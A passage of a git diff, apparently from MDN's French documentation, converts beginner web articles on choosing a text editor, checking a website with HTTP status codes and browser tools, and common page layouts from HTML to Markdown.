plugins automatiquement. Ces extensions vous permettront d'ajouter de nouvelles fonctionnalités à votre éditeur.</p> +#### Ai-je besoin d'aide ou d'un support pour utiliser mon éditeur de texte ? -<p>Si vous appréciez avoir de <em>nombreuses</em> fonctionnalités et que tout ces plugins ralentissent votre éditeur, vous pouvez utiliser un environnement de développement intégré (ou IDE pour <em>Integrated Development Environment</em> en anglais). Un IDE fournit de nombreux outils au travers d'une même interface. Cela peut paraître un peu intimidant pour les débutants mais cela peut aussi être un bon choix si votre éditeur de texte vous semble trop limité pour vos besoins. Les IDE les plus connus sont :</p> +Il est toujours bon de savoir s'il est possible d'avoir de l'aide lorsqu'on utilise un logiciel. En ce qui concerne les éditeurs de texte, ces deux points seront relativement importants : -<ul> - <li><a href="http://www.aptana.com/">Aptana Studio</a></li> - <li><a href="https://eclipse.org/" rel="external">Eclipse</a></li> - <li><a href="http://komodoide.com/" rel="external">Komodo</a></li> - <li><a href="https://netbeans.org/" rel="external">NetBeans</a></li> - <li><a href="http://www.visualstudio.com/" rel="external">Visual Studio</a></li> - <li><a href="https://www.jetbrains.com/webstorm/" rel="external">WebStorm</a></li> -</ul> +1. Est-ce qu'il existe des documents à destination des utilisateurs ? (FAQ, manuel, aide en ligne) +2. Existe-t-il des ressources pour discuter avec les développeurs ou d'autres utilisateurs ? (forum, e-mail, IRC) -<h4 id="Ai-je_besoin_d'aide_ou_d'un_support_pour_utiliser_mon_éditeur_de_texte">Ai-je besoin d'aide ou d'un support pour utiliser mon éditeur de texte ?</h4> +N'hésitez pas à utiliser la documentation écrite disponible lorsque vous démarrez avec un éditeur. Vous pouvez également échanger avec les autres utilisateurs sur des forums ou listes de diffusion pour diagnostiquer les éventuels problèmes que vous rencontrez lors de l'installation ou de l'utilisation de l'éditeur. -<p>Il est toujours bon de savoir s'il est possible d'avoir de l'aide lorsqu'on utilise un logiciel. En ce qui concerne les éditeurs de texte, ces deux points seront relativement importants :</p> +#### Est-ce que l'apparence de mon éditeur est importante ? -<ol> - <li>Est-ce qu'il existe des documents à destination des utilisateurs ? (FAQ, manuel, aide en ligne)</li> - <li>Existe-t-il des ressources pour discuter avec les développeurs ou d'autres utilisateurs ? (forum, e-mail, IRC)</li> -</ol> +Cela dépend de vos goûts. Certaines personnes apprécient pouvoir personnaliser tous les éléments de l'interface utilisateur, certains préfèrent une interface épurée avec peu de boutons, voire n'interagir qu'avec le clavier. Les éditeurs sont tous différents et vérifiez dès le début si votre éditeur se personnalise à votre convenance. Vous trouverez sans difficulté un éditeur dont vous pouvez changer le thème et les couleurs mais il sera préférable d'utiliser un IDE pour le personnaliser sous tous les angles. -<p>N'hésitez pas à utiliser la documentation écrite disponible lorsque vous démarrez avec un éditeur. Vous pouvez également échanger avec les autres utilisateurs sur des forums ou listes de diffusion pour diagnostiquer les éventuels problèmes que vous rencontrez lors de l'installation ou de l'utilisation de l'éditeur.</p> +### Installation et paramétrage -<h4 id="Est-ce_que_l'apparence_de_mon_éditeur_est_importante">Est-ce que l'apparence de mon éditeur est importante ?</h4> +L'installation d'un éditeur de texte est généralement simple. La méthode varie en fonction du système d'exploitation ou de la plateforme que vous utilisez mais dans tous les cas, cela ne devrait pas être trop complexe : -<p>Cela dépend de vos goûts. Certaines personnes apprécient pouvoir personnaliser tous les éléments de l'interface utilisateur, certains préfèrent une interface épurée avec peu de boutons, voire n'interagir qu'avec le clavier. Les éditeurs sont tous différents et vérifiez dès le début si votre éditeur se personnalise à votre convenance. Vous trouverez sans difficulté un éditeur dont vous pouvez changer le thème et les couleurs mais il sera préférable d'utiliser un IDE pour le personnaliser sous tous les angles.</p> +- **Windows :** Sur le site de l'éditeur ou sur le support d'installation, vous aurez un fichier `.exe` ou `.msi`. Il peut arriver que le logiciel soit empaqueté dans un format compressé tel que `.zip`, `.7z`, ou `.rar`. Dans ce cas, vous aurez besoin d'installer un programme supplémentaire pour extraire le contenu de l'archive compressée. Par défaut, Windows gère le format `.zip`. +- **Mac :** Sur le site de l'éditeur ou sur le support d'installation, vous aurez un fichier `.dmg`. Vous pouvez également trouver certains éditeurs sur l'Apple Store, ce qui simplifie le processus d'installation. +- **Linux :** Les distributions les plus populaires vous permettent d'utiliser un gestionnaire de paquets avec une interface graphique (Logithèque Ubuntu, mintInstall, Logithèque GNOME, etc.). Vous trouverez généralement un fichier `.deb` ou `.rpm` qui correspond au logiciel empaqueté. Dans la plupart des cas, vous pourrez également le dépôt de paquets de votre distribution. Dans le pire des cas, il vous faudra compiler l'éditeur à partir du code source. Prenez le temps de vérifier les instructions d'installations et les compatibilités sur le site web de l'éditeur. -<h3 id="Installation_et_paramétrage">Installation et paramétrage</h3> +Lorsque vous installez un nouvel éditeur de texte, il est probable que votre système d'exploitation continue à ouvrir les fichiers texte avec l'éditeur par défaut pour chaque format si vous ne changez pas les _associations de fichiers_. Ces instructions vous aideront à modifier les associations sur chaque système d'exploitation. De cette façon, vous pourrez ouvrir les fichiers dans votre éditeur de texte favori en double-cliquant sur les fichiers : -<p>L'installation d'un éditeur de texte est généralement simple. La méthode varie en fonction du système d'exploitation ou de la plateforme que vous utilisez mais dans tous les cas, cela ne devrait pas être trop complexe :</p> +- Windows -<ul> - <li><strong>Windows :</strong> Sur le site de l'éditeur ou sur le support d'installation, vous aurez un fichier <code>.exe</code> ou <code>.msi</code>. Il peut arriver que le logiciel soit empaqueté dans un format compressé tel que <code>.zip</code>, <code>.7z</code>, ou <code>.rar</code>. Dans ce cas, vous aurez besoin d'installer un programme supplémentaire pour extraire le contenu de l'archive compressée. Par défaut, Windows gère le format <code>.zip</code>.</li> - <li><strong>Mac :</strong> Sur le site de l'éditeur ou sur le support d'installation, vous aurez un fichier <code>.dmg</code>. Vous pouvez également trouver certains éditeurs sur l'Apple Store, ce qui simplifie le processus d'installation.</li> - <li><strong>Linux :</strong> Les distributions les plus populaires vous permettent d'utiliser un gestionnaire de paquets avec une interface graphique (Logithèque Ubuntu, mintInstall, Logithèque GNOME, etc.). Vous trouverez généralement un fichier <code>.deb</code> ou <code>.rpm</code> qui correspond au logiciel empaqueté. Dans la plupart des cas, vous pourrez également le dépôt de paquets de votre distribution. Dans le pire des cas, il vous faudra compiler l'éditeur à partir du code source. Prenez le temps de vérifier les instructions d'installations et les compatibilités sur le site web de l'éditeur.</li> -</ul> + - [Windows 8](http://windows.microsoft.com/fr-fr/windows-8/choose-programs-windows-uses-default) + - [Windows 7](http://windows.microsoft.com/fr-fr/windows/change-default-programs#1TC=windows-7) -<p>Lorsque vous installez un nouvel éditeur de texte, il est probable que votre système d'exploitation continue à ouvrir les fichiers texte avec l'éditeur par défaut pour chaque format si vous ne changez pas les <em>associations de fichiers</em>. Ces instructions vous aideront à modifier les associations sur chaque système d'exploitation. De cette façon, vous pourrez ouvrir les fichiers dans votre éditeur de texte favori en double-cliquant sur les fichiers :</p> +- [Mac OS X](http://www.youtips.com/fr/mac/changer-lapplication-par-defaut/) +- Linux -<ul> - <li>Windows - <ul> - <li><a href="http://windows.microsoft.com/fr-fr/windows-8/choose-programs-windows-uses-default" rel="external">Windows 8</a></li> - <li><a href="http://windows.microsoft.com/fr-fr/windows/change-default-programs#1TC=windows-7" rel="external">Windows 7</a></li> - </ul> - </li> - <li><a href="http://www.youtips.com/fr/mac/changer-lapplication-par-defaut/" rel="external">Mac OS X</a></li> - <li>Linux - <ul> - <li><a href="http://doc.ubuntu-fr.org/changer_l_association_par_defaut_des_fichiers_avec_les_applications" rel="external">Ubuntu Unity</a></li> - <li><a href="http://www.generation-linux.fr/index.php?post/2008/02/10/59-associations-de-fichier-dans-gnome" rel="external">GNOME</a></li> - <li><a href="https://userbase.kde.org/Dolphin/File_Management/fr#Modifier_une_association_de_fichiers_.C3.A0_la_vol.C3.A9e-">KDE</a></li> - </ul> - </li> -</ul> + - [Ubuntu Unity](http://doc.ubuntu-fr.org/changer_l_association_par_defaut_des_fichiers_avec_les_applications) + - [GNOME](http://www.generation-linux.fr/index.php?post/2008/02/10/59-associations-de-fichier-dans-gnome) + - [KDE](https://userbase.kde.org/Dolphin/File_Management/fr#Modifier_une_association_de_fichiers_.C3.A0_la_vol.C3.A9e-) -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +## Prochaines étapes -<p>Maintenant que vous avez un bon éditeur de texte, vous pouvez prendre le temps de finaliser <a href="/fr/Learn/Set_up_a_basic_working_environment">votre environnement de travail</a> ou vous pouvez aussi démarrer tout de suite et écrire <a href="/fr/Learn/HTML/Write_a_simple_page_in_HTML">votre première page web</a>.</p> +Maintenant que vous avez un bon éditeur de texte, vous pouvez prendre le temps de finaliser [votre environnement de travail](/fr/Learn/Set_up_a_basic_working_environment) ou vous pouvez aussi démarrer tout de suite et écrire [votre première page web](/fr/Learn/HTML/Write_a_simple_page_in_HTML). diff --git a/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.md b/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.md index 179fa1519a..fff9b1c778 100644 --- a/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.md +++ b/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.md @@ -12,166 +12,166 @@ tags: translation_of: Learn/Common_questions/Checking_that_your_web_site_is_working_properly original_slug: Apprendre/Tester_le_bon_fonctionnement_de_votre_site_web --- -<p>Dans cet article, nous présenterons les différentes étapes permettant de diagnostiquer les problèmes d'un site web ainsi que les mesures à prendre pour corriger certains de ces problèmes.</p> +Dans cet article, nous présenterons les différentes étapes permettant de diagnostiquer les problèmes d'un site web ainsi que les mesures à prendre pour corriger certains de ces problèmes. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devez au préalable savoir <a href="/fr/Apprendre/Transférer_des_fichiers_vers_un_serveur_web">comment transférer des fichiers vers un serveur web</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre à diagnostiquer et à résoudre certains problèmes simples qui peuvent se produire lors du développement ou de la maintenance d'un site web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devez au préalable savoir + <a href="/fr/Apprendre/Transférer_des_fichiers_vers_un_serveur_web" + >comment transférer des fichiers vers un serveur web</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Apprendre à diagnostiquer et à résoudre certains problèmes simples qui + peuvent se produire lors du développement ou de la maintenance d'un site + web. + </td> + </tr> + </tbody> </table> -<p>Vous avez donc publié votre site web en ligne. Bien. Mais êtes-vous sûr-e que celui-ci fonctionne correctement ?</p> +Vous avez donc publié votre site web en ligne. Bien. Mais êtes-vous sûr-e que celui-ci fonctionne correctement ? -<p>Un serveur web distant se comportera différemment d'un serveur local. Mieux vaut donc tester le bon fonctionnement d'un site web une fois qu'il est en ligne. Des problèmes « étonnants » peuvent survenir : les images peuvent ne pas apparaître, des pages ne se chargeront pas ou se chargeront lentement, etc. La plupart du temps, ce n'est pas un problème critique : il s'agit de corriger une erreur ou de paramétrer correctement la configuration du serveur hébergé.</p> +Un serveur web distant se comportera différemment d'un serveur local. Mieux vaut donc tester le bon fonctionnement d'un site web une fois qu'il est en ligne. Des problèmes « étonnants » peuvent survenir : les images peuvent ne pas apparaître, des pages ne se chargeront pas ou se chargeront lentement, etc. La plupart du temps, ce n'est pas un problème critique : il s'agit de corriger une erreur ou de paramétrer correctement la configuration du serveur hébergé. -<p>Voyons donc comment diagnostiquer et résoudre ces problèmes.</p> +Voyons donc comment diagnostiquer et résoudre ces problèmes. -<h2 id="Pédagogie_active">Pédagogie active</h2> +## Pédagogie active -<p><em>Il n'existe pas encore de matériau interactif pour cet article. <a href="/fr/docs/MDN/Débuter_sur_MDN">N'hésitez pas à contribuer !</a></em></p> +_Il n'existe pas encore de matériau interactif pour cet article. [N'hésitez pas à contribuer !](/fr/docs/MDN/Débuter_sur_MDN)_ -<h2 id="Aller_plus_loin">Aller plus loin</h2> +## Aller plus loin -<h3 id="Tester_avec_votre_navigateur">Tester avec votre navigateur</h3> +### Tester avec votre navigateur -<p>La première chose à faire pour tester une page donnée est d'ouvrir votre navigateur et d'aller sur cette page.</p> +La première chose à faire pour tester une page donnée est d'ouvrir votre navigateur et d'aller sur cette page. -<h4 id="Où_est_passée_l'image">Où est passée l'image ?</h4> +#### Où est passée l'image ? -<p>Allons sur notre site web : <code>http://demozilla.hebergeurexemple.net/</code>. L'image n'apparaît pas alors qu'il y aurait du y en avoir une !</p> +Allons sur notre site web : `http://demozilla.hebergeurexemple.net/`. L'image n'apparaît pas alors qu'il y aurait du y en avoir une ! -<p><img alt="Oops, the ‘unicorn’ image is missing" src="Capture%20du%202015-10-12%2017-21-20.png"></p> + -<p>Ouvrons les outils de développement et plus particulièrement ceux qui portent sur le réseau (<strong>Outils ➤ Développement Web ➤ Réseau</strong>) puis rechargeons la page :</p> +Ouvrons les outils de développement et plus particulièrement ceux qui portent sur le réseau (**Outils ➤ Développement Web ➤ Réseau**) puis rechargeons la page : -<p><img alt="The image has a 404 error" src="Capture%20du%202015-10-12%2018-21-23.png"></p> + -<p>Le problème c'est ce 404 qu'on voit en bas. 404 signifie que la ressource n'a pas été trouvée et c'est pour ça que nous ne voyons pas l'image.</p> +Le problème c'est ce 404 qu'on voit en bas. 404 signifie que la ressource n'a pas été trouvée et c'est pour ça que nous ne voyons pas l'image. -<h4 id="Les_status_HTTP">Les status HTTP</h4> +#### Les status HTTP -<p>Le serveur répond avec une message de statut à chaque fois qu'il reçoit une requête. Voici les statuts les plus communs ainsi que leur code :</p> +Le serveur répond avec une message de statut à chaque fois qu'il reçoit une requête. Voici les statuts les plus communs ainsi que leur code : -<dl> - <dt><strong> 200 : OK</strong></dt> - <dd>La ressource demandée a bien été transmise.</dd> - <dt><strong>301 : Déplacée de façon permanente (<em>Moved permanently</em>)</strong></dt> - <dd>La ressource a été déplacée à un nouvel emplacement. Vous ne verrez cette erreur que rarement mais elle est utile à connaître car les moteurs de recherchee utilise cette information pour mettre à jour leurs index.</dd> - <dt><strong>304 : Non modifiée (<em>Not modified</em>)</strong></dt> - <dd>La ressource n'a pas été modifiée depuis la dernière fois qu'elle a été demandée. Le navigateur affiche alors la version qu'il a dans son cache afin de répondre plus rapidement et d'économiser de la bande passante.</dd> - <dt><strong>403 : Accès interdit (<em>Forbidden</em>)</strong></dt> - <dd>Vous n'êtes pas autorisé-e à afficher cette ressource. Généralement, cela est dû à un problème de configuration (par exemple votre hébergeur ne vous a pas donné les droits sur un répertoire).</dd> - <dt><strong>404 : Non trouvée (<em>Not found</em>)</strong></dt> - <dd>Le message est plutôt explicite, nous en discuterons dans la suite de cet article.</dd> - <dt><strong>500 : Erreur interne du serveur (<em>Internal server error</em>)</strong></dt> - <dd>Une erreur s'est produite sur le serveur. Cela peut par exemple être dû à une erreur de langage côté serveur ({{Glossary("PHP")}}, .Net, etc.) ou à un problème de configuration. Généralement, mieux vaut voir avec l'équipe support de l'hébergeur.</dd> - <dt><strong>503 : Service indisponible (<em>Service unavailable</em>)</strong></dt> - <dd>Cela est généralement lié à une surcharge temporaire du serveur. Réessayez dans quelques temps.</dd> -</dl> +- **200 : OK** + - : La ressource demandée a bien été transmise. +- **301 : Déplacée de façon permanente (_Moved permanently_)** + - : La ressource a été déplacée à un nouvel emplacement. Vous ne verrez cette erreur que rarement mais elle est utile à connaître car les moteurs de recherchee utilise cette information pour mettre à jour leurs index. +- **304 : Non modifiée (_Not modified_)** + - : La ressource n'a pas été modifiée depuis la dernière fois qu'elle a été demandée. Le navigateur affiche alors la version qu'il a dans son cache afin de répondre plus rapidement et d'économiser de la bande passante. +- **403 : Accès interdit (_Forbidden_)** + - : Vous n'êtes pas autorisé-e à afficher cette ressource. Généralement, cela est dû à un problème de configuration (par exemple votre hébergeur ne vous a pas donné les droits sur un répertoire). +- **404 : Non trouvée (_Not found_)** + - : Le message est plutôt explicite, nous en discuterons dans la suite de cet article. +- **500 : Erreur interne du serveur (_Internal server error_)** + - : Une erreur s'est produite sur le serveur. Cela peut par exemple être dû à une erreur de langage côté serveur ({{Glossary("PHP")}}, .Net, etc.) ou à un problème de configuration. Généralement, mieux vaut voir avec l'équipe support de l'hébergeur. +- **503 : Service indisponible (_Service unavailable_)** + - : Cela est généralement lié à une surcharge temporaire du serveur. Réessayez dans quelques temps. -<ul> -</ul> +<!----> -<p>Lorsqu'on débute avec une site simple, on rencontre le plus souvent des codes 200, 304, 403, et 404.</p> +Lorsqu'on débute avec une site simple, on rencontre le plus souvent des codes 200, 304, 403, et 404. -<h4 id="Corriger_l'erreur_404">Corriger l'erreur 404</h4> +#### Corriger l'erreur 404 -<p>Où est donc le problème ?</p> +Où est donc le problème ? -<p><img alt="Le list of images in our project" src="Capture%20du%202015-10-12%2018-45-07.png"></p> + -<p>À premièrve vue, l'image semble être au bon endroit mais l'outil d'analyse réseau affiche un code 404 renvoyé par le serveur. Le problème ici est une coquille dans le code de la page HTML <code>licornes.png</code> plutôt que <code>licorne.png</code>. En corrigeant cette erreur avec l'attribut <code>src</code></p> +À premièrve vue, l'image semble être au bon endroit mais l'outil d'analyse réseau affiche un code 404 renvoyé par le serveur. Le problème ici est une coquille dans le code de la page HTML `licornes.png` plutôt que `licorne.png`. En corrigeant cette erreur avec l'attribut `src` -<p><img alt="Deleting the ‘s’" src="Capture%20du%202015-10-12%2018-50-56.png"></p> + -<p>Puis en sauvegardant et <a href="/fr/Learn/Upload_files_to_a_web_server">en envoyant le fichier vers le serveur</a>, on peut ensuite recharger la page dans le navigateur :</p> +Puis en sauvegardant et [en envoyant le fichier vers le serveur](/fr/Learn/Upload_files_to_a_web_server), on peut ensuite recharger la page dans le navigateur : -<p><img alt="The image loads corectly in the browser" src="Capture%20du%202015-10-12%2018-53-50.png"></p> + -<p>Et voilà, revenons sur les status {{Glossary("HTTP")}} :</p> +Et voilà, revenons sur les status {{Glossary("HTTP")}} : -<ul> - <li><strong>200</strong> apparaît pour toutes les ressources ici <code>/</code>, <code>basics.css</code> et <code>licorne.png</code> : cela signifie que tous les éléments ont été rechargés.</li> - <li><strong>304</strong> : Vous pouvez obtenir un code pour <code>basic.css</code>, cela signifie que le fichier n'a pas été modifié depuis la dernière requête. Le navigateur utilise alors la version du fichier qu'il a en cache plutôt que d'en demander un nouvel exemplaire.</li> -</ul> +- **200** apparaît pour toutes les ressources ici `/`, `basics.css` et `licorne.png` : cela signifie que tous les éléments ont été rechargés. +- **304** : Vous pouvez obtenir un code pour `basic.css`, cela signifie que le fichier n'a pas été modifié depuis la dernière requête. Le navigateur utilise alors la version du fichier qu'il a en cache plutôt que d'en demander un nouvel exemplaire. -<p>Nous avons donc corrigé l'erreur tout en en apprenant un peu plus sur les statuts HTTP !</p> +Nous avons donc corrigé l'erreur tout en en apprenant un peu plus sur les statuts HTTP ! -<h3 id="Les_erreurs_fréquentes">Les erreurs fréquentes</h3> +### Les erreurs fréquentes -<p>Les erreurs les plus fréquentes sont les suivantes.</p> +Les erreurs les plus fréquentes sont les suivantes. -<h4 id="Des_coquilles_dans_l'adresse">Des coquilles dans l'adresse</h4> +#### Des coquilles dans l'adresse -<p>Dans la capture suivante, nous avons voulu accéder à <code>http://demozilla.hebergeurexemple.net/</code> mais nous avons oublié un « m » :</p> +Dans la capture suivante, nous avons voulu accéder à `http://demozilla.hebergeurexemple.net/` mais nous avons oublié un « m » : -<p><img alt="Address unreachable" src="Capture%20du%202015-10-12%2018-58-19.png"></p> + -<p>L'adresse est introuvable… en effet.</p> +L'adresse est introuvable… en effet. -<h4 id="Les_erreurs_404">Les erreurs 404</h4> +#### Les erreurs 404 -<p>La plupart du temps, ces erreurs sont dues à des fautes d'orthographes mais parfois cela peut être la faute d'un fichier qui n'a pas été transféré ou d'une connexion réseau instable lors du transfert. Commencez par vérifier l'orthographe des noms et des chemins de fichiers. Si le problème persiste, transférez à nouveau vos fichiers.</p> +La plupart du temps, ces erreurs sont dues à des fautes d'orthographes mais parfois cela peut être la faute d'un fichier qui n'a pas été transféré ou d'une connexion réseau instable lors du transfert. Commencez par vérifier l'orthographe des noms et des chemins de fichiers. Si le problème persiste, transférez à nouveau vos fichiers. -<h4 id="Les_erreurs_JavaScript">Les erreurs JavaScript</h4> +#### Les erreurs JavaScript -<p>Quelqu'un (peut-être vous) peut avoir ajouté un script à la page et avoir fait une erreur. Cela n'empêchera pas la page de charger mais cela pourra avoir des conséquences selon le rôle du script.</p> +Quelqu'un (peut-être vous) peut avoir ajouté un script à la page et avoir fait une erreur. Cela n'empêchera pas la page de charger mais cela pourra avoir des conséquences selon le rôle du script. -<p>Pour voir ces erreurs, ouvrez la console (<strong>Outils ➤ Développement web ➤ Console web</strong>) and puis rechargez la page:</p> +Pour voir ces erreurs, ouvrez la console (**Outils ➤ Développement web ➤ Console web**) and puis rechargez la page: -<p><img alt="A Javascript error is shown in the Console" src="Capture%20du%202015-10-12%2019-10-52.png"></p> + -<p>Ici, nous voyons comment détecter une erreur, la console affiche sur quoi porte l'erreur et éventuellement comment la résoudre (nous verrons JavaScript dans <a href="/fr/Apprendre/JavaScript">une autre série d'articles</a>).</p> +Ici, nous voyons comment détecter une erreur, la console affiche sur quoi porte l'erreur et éventuellement comment la résoudre (nous verrons JavaScript dans [une autre série d'articles](/fr/Apprendre/JavaScript)). -<h3 id="D'autres_points_de_contrôles">D'autres points de contrôles</h3> +### D'autres points de contrôles -<p>Nous avons vu quelques points simples pour s'assurer qu'un site fonctionne correctement. Mais une page peut fonctionner correctement sans fonctionner « parfaitement ».</p> +Nous avons vu quelques points simples pour s'assurer qu'un site fonctionne correctement. Mais une page peut fonctionner correctement sans fonctionner « parfaitement ». -<h4 id="Qu'en_est-il_de_la_performance">Qu'en est-il de la performance ?</h4> +#### Qu'en est-il de la performance ? -<p>Est-ce que la page charge suffisamment vite ? Pour le savoir, vous pouvez utiliser des outils comme <a href="http://www.webpagetest.org/">webpagetest.org</a> ou des modules complémentaires comme <a href="https://addons.mozilla.org/en-US/firefox/addon/yslow/">YSlow</a> qui peuvent fournir des indications intéressantes :</p> +Est-ce que la page charge suffisamment vite ? Pour le savoir, vous pouvez utiliser des outils comme [webpagetest.org](http://www.webpagetest.org/) ou des modules complémentaires comme [YSlow](https://addons.mozilla.org/en-US/firefox/addon/yslow/) qui peuvent fournir des indications intéressantes : -<p><img alt="Yslow diagnostics" src="yslow-diagnostics.png"></p> + -<p>Les notes vont de A à F. La page actuelle est pluôt légère et respecte donc la plupart des critères. On voit ici qu'il aurait été préférable d'utiliser un {{Glossary("CDN")}}. Dans notre cas, cette remarque n'est pas très critique car notre site web n'est pas un site à forte audience qui sert des milliers d'images.</p> +Les notes vont de A à F. La page actuelle est pluôt légère et respecte donc la plupart des critères. On voit ici qu'il aurait été préférable d'utiliser un {{Glossary("CDN")}}. Dans notre cas, cette remarque n'est pas très critique car notre site web n'est pas un site à forte audience qui sert des milliers d'images. -<h4 id="Est-ce_que_le_serveur_réagit_suffisamment_vite">Est-ce que le serveur réagit suffisamment vite ?</h4> +#### Est-ce que le serveur réagit suffisamment vite ? -<p><code>ping</code> est une commande plutôt utile pour tester si le serveur rattaché à votre nom de domaine répond correctement :</p> +`ping` est une commande plutôt utile pour tester si le serveur rattaché à votre nom de domaine répond correctement : -<pre>$ ping mozilla.org -PING mozilla.org (63.245.215.20): 56 data bytes -64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms -64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms -64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms -64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms -^C ---- mozilla.org ping statistics --- -4 packets transmitted, 4 packets received, 0.0% packet loss -round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms</pre> + $ ping mozilla.org + PING mozilla.org (63.245.215.20): 56 data bytes + 64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms + 64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms + 64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms + 64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms + ^C + --- mozilla.org ping statistics --- + 4 packets transmitted, 4 packets received, 0.0% packet loss + round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms -<p>Si vous utilisez Windows, le ping s'arrêtera après quelques envois mais si vous utilisez Mac ou Linux, mémorisez le raccourci <strong>Ctrl+C</strong> pour arrêter l'envoi des pings. Ctrl+C envoie un signal d'interruption qui arrêtera l'exécution du programme. Si vous n'utilisez pas Ctrl+C, le programme <code>ping</code> contactera le serveur indéfiniment.</p> +Si vous utilisez Windows, le ping s'arrêtera après quelques envois mais si vous utilisez Mac ou Linux, mémorisez le raccourci **Ctrl+C** pour arrêter l'envoi des pings. Ctrl+C envoie un signal d'interruption qui arrêtera l'exécution du programme. Si vous n'utilisez pas Ctrl+C, le programme `ping` contactera le serveur indéfiniment. -<h3 id="Une_checklist_de_base">Une <em>checklist</em> de base</h3> +### Une _checklist_ de base -<ul> - <li>Vérifier les erreurs 404</li> - <li>S'assurer que chaque page web fonctionne comme attenu</li> - <li>Vérifier le site web avec plusieurs navigateurs pour s'assurer qu'il s'affiche de façon cohérente sur ces différents navigateurs</li> -</ul> +- Vérifier les erreurs 404 +- S'assurer que chaque page web fonctionne comme attenu +- Vérifier le site web avec plusieurs navigateurs pour s'assurer qu'il s'affiche de façon cohérente sur ces différents navigateurs -<h2 id="Prochaines_étapes">Prochaines étapes</h2> +## Prochaines étapes -<p>Félicitations ! Votre site est en ligne, fonctionne correctement et tout le monde peut le visiter. C'est une belle réussite ! Vous pouvez maintenant approfondir d'autres sujets.</p> +Félicitations ! Votre site est en ligne, fonctionne correctement et tout le monde peut le visiter. C'est une belle réussite ! Vous pouvez maintenant approfondir d'autres sujets. -<ul> - <li>De nombreuses personnes peuvent accéder à votre site, mieux vaut donc que celui-ci <a href="/fr/Apprendre/Accessibilité">soit le plus accessible possible</a>.</li> - <li>Le site a l'air brut de décoffrage ? C'est le bon moment pour <a href="/fr/Apprendre/CSS/Utiliser_CSS_dans_une_page_web">apprendre un peu de CSS</a>.</li> -</ul> +- De nombreuses personnes peuvent accéder à votre site, mieux vaut donc que celui-ci [soit le plus accessible possible](/fr/Apprendre/Accessibilité). +- Le site a l'air brut de décoffrage ? C'est le bon moment pour [apprendre un peu de CSS](/fr/Apprendre/CSS/Utiliser_CSS_dans_une_page_web). diff --git a/files/fr/learn/common_questions/common_web_layouts/index.md b/files/fr/learn/common_questions/common_web_layouts/index.md index 5fba68714b..1f8f91eb86 100644 --- a/files/fr/learn/common_questions/common_web_layouts/index.md +++ b/files/fr/learn/common_questions/common_web_layouts/index.md @@ -10,117 +10,121 @@ tags: translation_of: Learn/Common_questions/Common_web_layouts original_slug: Apprendre/Concevoir_page_web --- -<div>{{IncludeSubnav("/fr/Apprendre")}}</div> +{{IncludeSubnav("/fr/Apprendre")}} -<p>Lorsque vous concevez des pages pour votre site Internet, il est utile d'avoir en tête les modèles de mise en page les plus fréquemment utilisés.</p> +Lorsque vous concevez des pages pour votre site Internet, il est utile d'avoir en tête les modèles de mise en page les plus fréquemment utilisés. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Assurez-vous d'avoir d'abord identifié <a href="/fr/Apprendre/Commencez_votre_projet_web">ce que vous souhaitez accomplir</a> avec votre projet web.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre où (et comment !) disposer des éléments dans vos pages web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Assurez-vous d'avoir d'abord identifié + <a href="/fr/Apprendre/Commencez_votre_projet_web" + >ce que vous souhaitez accomplir</a + > + avec votre projet web. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre où (et comment !) disposer des éléments dans vos pages web. + </td> + </tr> + </tbody> </table> -<p>Nous avons une bonne raison de vous initier à la conception web. Vous commencez avec une page vierge, puis vous devez choisir entre tellement de possibilités… Si vous avez peu d'expérience, la page blanche initiale pourrait vous paraître intimidante. Comme nous avons plus de 25 ans d'expérience dans le domaine, nous allons vous présenter quelques règles générales qui pourront vous aider dans la conception de votre site web.</p> +Nous avons une bonne raison de vous initier à la conception web. Vous commencez avec une page vierge, puis vous devez choisir entre tellement de possibilités… Si vous avez peu d'expérience, la page blanche initiale pourrait vous paraître intimidante. Comme nous avons plus de 25 ans d'expérience dans le domaine, nous allons vous présenter quelques règles générales qui pourront vous aider dans la conception de votre site web. -<p>Même aujourd'hui, malgré toute l'attention portée aux appareils mobiles, la majorité des pages web contient les sections suivantes :</p> +Même aujourd'hui, malgré toute l'attention portée aux appareils mobiles, la majorité des pages web contient les sections suivantes : -<dl> - <dt>En-tête</dt> - <dd>Visible au haut de chaque page du site, cette section comprend des informations pertinentes pour l'ensemble des pages (par exemple, le nom du site ou un logo) et un menu de navigation convivial.</dd> - <dt>Contenu principal</dt> - <dd>Cette section occupe la plus grande partie de l'espace et contient du contenu unique, relatif à la page consultée.</dd> - <dt>Contenu secondaire</dt> - <dd>Il peut s'agir : - <ol> - <li>d'informations complémentaires au contenu principal ;</li> - <li>d'informations partagées entre un sous-ensemble de pages ;</li> - <li>d'un moyen alternatif de navigation. En fait, ce peut être un peu tout ce qui est superflu par rapport au contenu principal.</li> - </ol> - </dd> - <dt>Bas de page</dt> - <dd>Visible au bas de chaque page du site, cette section contient, tout comme l'en-tête, des informations pertinentes pour l'ensemble des pages. On peut, entre autres, y trouver les mentions légales et les informations nécessaires pour contacter les responsables du site.</dd> -</dl> +- En-tête + - : Visible au haut de 